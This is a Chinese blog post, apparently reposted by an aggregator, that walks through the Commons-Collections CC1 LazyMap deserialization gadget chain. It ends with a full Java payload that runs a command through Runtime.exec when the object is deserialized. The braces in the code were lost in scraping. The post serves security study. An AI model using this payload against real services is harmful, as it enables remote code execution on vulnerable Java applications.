Java代码审计-CC1 LazyMap Chains
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java代码审计-CC1 LazyMap Chains相关的知识,希望对你有一定的参考价值。
lazyMap chains
LazyMap 和 TransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator
LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是,TransformedMap 是在写入元素的时候执行 transform,而 LazyMap 是在其 get 方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在 get 找不到值的时候,它会调用 factory.transform 方法去获取一个值
图源:Java反序列化CommonsCollections篇
之前分析的 cc1 的链使用的是 TransformedMap 下的 checkSetValue 方法,但是还有其他利用链,本次就分析 LazyMap 下的 get 方法调用 factory.transform 方法,也是 ysoserial 中使用的方法
get 方法
整条链的入口点还是在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法,在文件中发现 membersValues.get 方法参数可控,invoke 方法在对象代理是会被触发,如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发的 LazyMap#get
源码有点问题,应该为下图,在 invoke 中判断了 var5 即 paramTypes 长度等于 0,也就是说需要使用无参方法
而 readObject 中的 entrySet 方法就是一个无参方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
前边提到了 invoke 是在对象代理时触发,Java 作为一门静态语言,要实现类似 php 中魔术方法 __call,就需要用到 java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] Map.class, handler);
第一个参数时 ClassLoader,默认即可,第二个参数时代理的对象集合,第三个参数是实现了 InvocationHandler 接口的对象,里面包含了具体的逻辑
动态代理类 Proxy 实现了 serializable,所有对象代理都实现了 Proxy,所以可以序列化
构造 payload
根据之前的 payload 做一个修改,首先使用 LazyMap 替换 TransformedMap:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行 Proxy
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] Map.class, handler);
但是这里依然不能直接对其反序列化,入口点是:sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用
AnnotationInvocationHandler 对这个 proxyMap 进行包裹
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
最终完整 payload
public class test
public static void main(String[] args) throws Exception
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]String.class,Class[].class, new Object[]"getRuntime",new Class[0]),
new InvokerTransformer("invoke",new Class[]Object.class,Object[].class,new Object[]null,new Object[0]),
new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc"),;
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] Map.class, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
serialize(handler);
unserialize("ser.bin");
public static void serialize(Object obj) throws IOException
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
调试执行时可以看到,transform 的参数,最终执行命令
同样只限于 jdk8u71 之前
以上是关于Java代码审计-CC1 LazyMap Chains的主要内容,如果未能解决你的问题,请参考以下文章